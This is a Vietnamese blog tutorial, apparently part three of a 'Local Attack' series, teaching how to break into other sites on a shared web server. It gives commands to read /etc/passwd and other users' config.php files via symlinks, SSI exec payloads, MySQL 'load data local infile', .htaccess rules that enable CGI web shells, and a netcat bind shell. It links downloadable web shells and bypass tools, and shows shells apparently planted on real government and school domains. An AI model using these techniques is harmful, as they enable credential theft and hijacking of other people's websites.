Để hoàn thành bộ tut Local Attack full, hôm nay Soleil sẽ giới thiệu bài 3, cũng chính là bài quan trọng và trọng tâm nhất trong Local Attack. Trước khi đi vào bài 3, các bạn có thể đọc qua và lấy 1 số tool cần thiết từ bài 2 - Giới thiệu tính năng 1 số shell
* Nhắc lại trình tự các bước Local Attack
1-
View danh
sách các user trong server
2-
Tìm file
config.php
3-
Get thông tin login vào database
4-
Crack hoặc change pass admin
5-
Login vào quyên quản trị và upshell
1-
View danh sách các user trên server
Muốn
local được 1 site nào đó trên server thì trướ tiên cần phải xác định
site đó có user là gì, source code là gì từ đó tìm cách đọc file
config.php của user đó
-
Một số câu lệnh để get user:
Lệnh phổ biến nhất:
Cat /etc/passwd
Tuy nhiên một số server cấm lệnh cat, có thể
sử dụng các lệnh sau một cách linh hoạt
Less /etc/passwd./cat/etc/passwdMore /etc/passwd
Ngoài ra có thể sử dụng chức năng get user
trên shell byg.php, c99.php hay bypass ở r57.php, soleil.pin, telnet.pl hoặc các
shell sau:
http://www.mediafire.com/?hi4gnmu3kpxn095
( đk: chmod 755)
Pass download: soleil_vhb
Pass dải nén: ceh.vn
-
Câu lênh get user & domain
Cat /etc/virtual/domainowners ( Chỉ dùng đối với direct admin )
2-
Tìm file path file config.php
Đối với các mã nguồn mở thì path file config được mặc định
như sau:
Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối
với server linux, path là: /home/user/public_html
- Discuz- Vbulletin:path/includes/config.php- Mybb:path/inc/config.php- Joomla:path/configuration.php- Word-Press:path/wp-config.php- Ibp:path/conf_global.php- Php-fusion:path/config.php- Smf:Path/Settings.php- Nuke:path/config.php- Xoops:path/mainfile.php- Zen CartPath/includes/configure.php- path/setidio:path/datas/config.php- Datalife Engine:path/engine/data/config.php- Phpbb:Path/config.php- Wordpress:path/wp-config.php- Seditio:path/datas/config.php- Drupal:path/sites/default/settings.php
path/config/config_ucenter.php
- Bo-Blog
path/data/config.php
-
Đây là path mặc định đối với các mã nguồn mở,
còn đối với site tự code thì thông thường path vẫn đặt hay ngay sau thư mục
public_html ( path/config.php ).
-
Đối với các quản trị viên chú ý đến tính năng bảo
mật, phòng tránh local attack thì họ thường dấu kỹ và thay đổi path dẫn đến
file config, trong trường hợp này cần phải dò path bắt đầu từ file index đi
vào. Soleil sẽ lấy ví dụ dò path file config đối với vbulletin chẳng hạn:
Forum.php -> global.php -> includes/class_bootstrap -> includes/init.php -> includes/class_core.php -> includes/config.php
(
Để tìm kiếm path trong source, search theo từ khóa: “cwd”, ta sẽ thấy đoạn code
tương tự như: “require_once(CWD . '/includes/init.php');” - Đây là path mặc định dẫn tới file init.php))……
3-
Get thông tin file config
Phần này chính là phần trọng tâm
nhất trong bộ tut local attack. Trong phần
này soleil sẽ giới thiệu đầy đủ các kỹ thuật cơ bản để local attack.
3.1- Trước hết ta cần tìm hiểu qua về các câu lệnh cơ
bản trong linux ứng dụng cho local attck:
-
Ls , dir
: Liệt kê tên các file bên trong thư mục
ls -al, ls -lia: Liệt kê tên và thuộc tính các file bên trong thư mục
ls -al, ls -lia: Liệt kê tên và thuộc tính các file bên trong thư mục
-
Cat, ./cat, less, more, tail : View nôi dung bên trong các file:
-
Ln : Lệnh symbolic link:
Ln -s /home/vhbgroup/public_html/@4rum/includes/config.php soleil.ini
-
Cd: Chuyển đổi thư mục
Ví dụ muốn chuyển tới thư mục soleil”
Cd /home/vhbgroup/public_html/@4rum/includes/soleilcd ~ : Tới thư mục home dictionarycd -: Quay lại thư mục vừa làm việccd ..: Tới thư mục kề bên ngoài thư mục đang làm việc
-
Chmod: Phân quyền cho các file hoặc thư mục:
Chmod 400 config.php ( đang làm việc trong thư mục includes chứa file config.php )
-
Mkdir: tạo thư mục:
Ví du muốn tạo thư mục soleil trong thư mục includes:
Mkdir /home/vhbgroup/public_html/@4rum/includes/soleil
-
Touch : Tạo file:
touch /home/vhbgroup/public_html/@4rum/includes/soleil.php
-
Tar, zip: Lệnh nén và giải nén: thường sử dụng
trong symlink root
Tar –zcvf ducdung08clc.tar.gz soleil ( Nén thư mục soleil thành file ducdung08clc.tar.gz)Tar –zxvf ducdung08clc.tar.gz ( giải nén file ducdung08clc.tar.gz)
Zip –r -9 ducdung08clc.zip soleil ( Nén thư mục soleil thành file ducdung08clc.zip)Zip -p ducdung08clc.zip ( Giải nén file ducdung.tar.gz)
…………
3.2- Phần
tiếp theo Soleil sẽ trình bày 1 số kỹ thuật dùng để lấy thông tin file
config.php
1-
Sử dụng các lệnh cat, dir để xem tên thư mục, tệp
tin và đọc nội dung tệp tin.
Ví dụ:
dir /home/vhbgroup/public_html/includescat /home/vhbgroup/public_html/includes/config.php
Nhưng hiện nay phần lớn các server đều không
cho phép thực thi những hàm này nên ứng dụng phương pháp này không mấy khả thi
2-
Sử dụng Symbolic link – Gọi tắt là symlink
Symbolic link là kỹ thuật cơ bản và gần như là quan trọng mà
phần lớn các attaker nghĩ đến đầu tiên trước khi thực hiện công việc local
attack.
Ln -s /home/vhbgroup/public_html/@4rum/includes/config.php soleil.ini
Có thể hiểu đơn giản là tạo 1 file soleil.ini trên host có nội
dung giống file config.php của user vhbgroup trên server có path /home/vhbgroup/public_html/@4rum/includes/config.php
Có thể thay soleil.ini bằng .txt nhưng do thói quen soleil vẫn
hay sử dụng .ini hơn bởi vì đối với 1 số server bị lỗi nó có thể bypass
permissions 400.
3-
Sử dụng symlink kết hợp với ssi:
Đối với 1 sô server khi symbolick link bình thường xuất hiên
403 forbinden – không cho phép đọc file đã được symlink thì giải pháp được nghĩ
đến đó là kết hợp với ssi.
-
Tạo 1 file ducdung08clc.shtml với nội dung như
sau:
<!--#include virtual="soleil.ini"-->
Trong đó file soleil.ini là file đã được
symbolic link trên server.
Bây giờ view source của file
ducdung08clc.shtml ta sẽ thấy đc nội dung file soleil.ini đã symbolic link.
4-
Chạy lệnh bằng file .shtml
-
Tuy nhiên
có 1 số server cả 2 cách đó đều không áp dụng được nhưng nó lại cho chạy
lệnh bằng file .shtml
<!--#exec cmd="cat /etc/passwd"-->
-
Lệnh xem file logs như sau:
<!--#exec cmd="tail -n 10000 /var/log/httpd/domains/vhbgroup.net.error.log"-->
Lưu ý: + lệnh tail cũng giống như lệnh cat nhưng nó dùng
để xem nhưng dòng cuối cùng của file trên server.
+ /var/log/httpd/domains/vhbgroup.net.error.log
là path dẫn đến file error.log của direct admin
+ Còn path dẫn đến file error.log
của cpanel là: /usr/local/apache/logs/error_log ….., tùy vào bộ cài host mà path dẫn đến
file error.log khác nhau.
5-
Get all config toàn server
-
Đâu tiên download shell get all config ( w.php) về rồi up lên server.
http://www.mediafire.com/?hi4gnmu3kpxn095
( pass unlock: soleil_vhb )
-
Click vào done và thư mục có tên là tmp sẽ được
tạo ra.
-
Vào link của thư mục tmp sẽ có 1 số shell với
các chức năng sau:
+ dz.sa
: Đây là shell cgi, sử dụng nó để get các user trên server bằng cách thực thi
câu lệnh: cat /etc/passwd, more /etc/passwd ( Pass login là: dz ).
+ user.sa
: Shell này dung để xem danh sách các user và domain trên server.
+ config.sa
: Shell này có nhiệm vụ thực thi get all config bằng phương pháp symlink
-
Vào link shell
http://www.vksbinhphuoc.gov.vn/soleil/tmp/config.sa
-
Coppy toàn bộ thông tin user có được từ câu lệnh:
cat /etc/passwd vào khung như hình ảnh dưới đây rồi ấn “get config”
-
Cuối cùng trở lại link http://vksbinhphuoc.gov.vn/soleil/tmp/
, chúng ta sẽ có được danh sách các file config của các site trên server.
* Đặc điểm của con shell get all config này:
+ Là
1 công cụ cực kỳ thuận tiện, giảm bớt thời gian và công sức khi local attack
+ Chỉ
sử dụng đối với các server cho chạy shell cgi và cho quyền symlink
+ Không
bypass được, chỉ symlink đối với các site chưa chmod và có path dẫn đến file
config là mặc định.
6-
Symbolink Root:
-
Download file r00t.tar.gz về và upload lên host:
http://www.mediafire.com/?21kycoh4g5s4ojo ( pass download: soleil_vhb, pass dải nén:
ceh.vn )
-
Sau đó giải nén file root.tar.gz, sử dụng lệnh
sau:
Tar –zxvf r00t.tar.gz
-
Up file .htacess cùng thư mục với file r00t:
Options allDirectoryIndex Sux.htmlAddType text/plain .phpAddHandler server-parsed .phpAddType text/plain .htmlAddHandler txt .htmlRequire NoneSatisfy Any
-
Nếu không sủ dụng file r00t.tar.gz đó, có thể thực
hiện sym root ngay trên shell
Demo:
Và đây là cấu trúc của trường http://cdhh.edu.vn/
7-
Backconnet:
Có thể hiểu đơn giản là kết nối bằng cổng
sau, nghĩa là sử dụng shell backconnet và tool netcat (nc.exe) để mở sẵn 1 cổng
trên server, sau đó từ máy tính của attacker kết nối với server qua cổng đã được
mở sẵn đó. Mọi câu lệnh thực thi đối với server có thể thực hiện trên máy tính
của attacker qua command line.
Đồ nghề cần thiết:
-
Tool netcat (nc.exe)
-
Shell back connect đối với asp:
Chú ý, trong shell có 1 đoạn code như: "G:\domains\tvled.vn\wwwroot\austdoor\design\nc.exe
-l -p 1234 -e cmd.exe -d"
Lúc up shell lên cần edit lại “G:\domains\tvled.vn\wwwroot\austdoor\design\”
thành path của server dẫn tới file nc.exe.
-
Shell backconnet đối với php
( Pass unlock soleil_vhb; Pass dải nén: ceh.vn )
-
Download tool nc.exe rồi đặt trong ổ C chẳng hạn,
sau đó mở cửa sổ command line và sử dụng netcat để mở cổng trên local host kết
nối với server đã mở sẵn cổng
-
Cú pháp:
+ chế độ kết nối
: nc [-tùy_chọn] tên_máy cổng1[-cổng2]
+ chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
+ chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
Một
số câu lệnh có thể sử dụng:
nc -nvv -l -p 80nc -lvvnp 3333nc -nvv -l -p 12345nc 127.0.0.1 7777nc -vv -l -p 7777nc -vlp 443
+ -l: đặt netcat vào chế độ lắng nghe để chề kết nối
đến
+ -n: Chỉ dùng ip ở dang số, ví dụ:
123.30.2.42, netcat sẽ ko xét đến DNS.
+ -p: Chỉ định cổng cần lắng nghe hay
kết nối
+ -v: Hiện thi các thông tin về kết nối hiện tại. –vv sẽ hiện thị thông tin chi tiết hơn nữa.
-
Lưu ý là cần coppy nc.exe vào 1 vị trí nào trong
máy rồi sử dụng command đến thư mục chứa nc.exe trước khi thực hiện các câu lệnh
liên quan đến netcat
-
Sauk hi đã backconnect thành công thì tiến hành
local đơn giản chỉ bằng 1 câu lệnh coppy shell từ site đã up được shell tới
site victim.
8-
Via SQL
-
Login vào database và tạo 1 table để load các
thông tin bằng cách sử dụng querry sau
create table soleil ( ducdung08clc varchar
(1024));
-
Query load các thông tin vào table table vừa được tạo:
load data local infile '/etc/passwd' into
table soleil
Có thể thay câu lệnh “/etc/passwd” bằng
path dẫn đến file config.
-
Query hiện thị các thông tin được load vào table
soleil:
select * from soleil
-
Phương pháp này được gọi là Via SQL, chủ yếu sử
dụng khi server không cho chạy run command và có thể bypass đối với 1 số server.
1
số lưu ý:
-
Đối với 1
số server Safe_mod: ON, thì shel không có chức năng run command để thực thi các câu lệnh, vậy làm
sao có thể local được. Giải pháp được
nghĩ đến là sử dụng shell cgi:
+ Soleil.pin
Cách sử dụng:
-
Up shell soleil.pin và chmod nó về 755
-
Up hoặc tạo file .htaccess trong thư mục chứa
shell có nội dung:
## START ##Options +ExecCGIAddHandler cgi-script cgi pl cgi gmc pin jpgRewriteEngine onRewriteRule (.*)\.mil$ $1.cgiOptions +FollowSymLinksDirectoryIndex cmd.htmlOptions +IndexesRemoveHandler .hackAddType text/plain .hack## milw0rmvn exploit ##Hoặc:Options FollowSymLinks MultiViews Indexes ExecCGIAddType application/x-httpd-cgi .cinAddHandler cgi-script .pinAddHandler cgi-script .pin
+ telnet.pl
shell telnet.pl có chức năng hoàn toàn tương tự với con shell
soleil.pin. Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải
sử dụng đến file .htaccess mà chỉ cần chmod nó về 755 là chạy được.
( Pass unlock: soleil_vhb, pass dải nén nếu có : ceh.vn )
-
* Đối với các server không có chức năng run command
và cũng không cho chạy shell cgi thì có thể sử dụng các shell sau để bypass đơn
giản đối với 1 số server.
+ fakesymlink.php
http://www.mediafire.com/?fc9kencnilx0rm4
( 5.2.12 -> 5.3.1
http://www.mediafire.com/?kmid8rahl5wjh74
( version 5.3 -> 5.4 )
+ 529bypass.php
+ Bypassnull.php
+ Hoặc sử dụng safe mode bypass
+ Sử dụng các chức năng bypass trên
con shell r57vip này ( nên convert domain sang dạng ip)
+ Hoặc sử dụng via sqli
v.v….
(Tất cả các shell download trên đều
có pass unlock: vhb_soleil và pass dải nén nếu có: ceh.vn)
Trong bài tut trên soleil đã giới các phương pháp local
attack cơ bản và các dạng bypass cơ bản nhất có thể sử dụng. Trong bài tiếp theo
soleil sẽ đề cập đến các dạng bypass nâng cao đối với 1 số server khó, các thủ
thuật vượt chmod qua 400 permission, chiếm quyền điều khiển root (get root) và
các kỹ thuật up shell đối với 1 số mã nguồn mở như: joomla, worpress, nukeviet,
vbulletin, drupal……
0 nhận xét:
Đăng nhận xét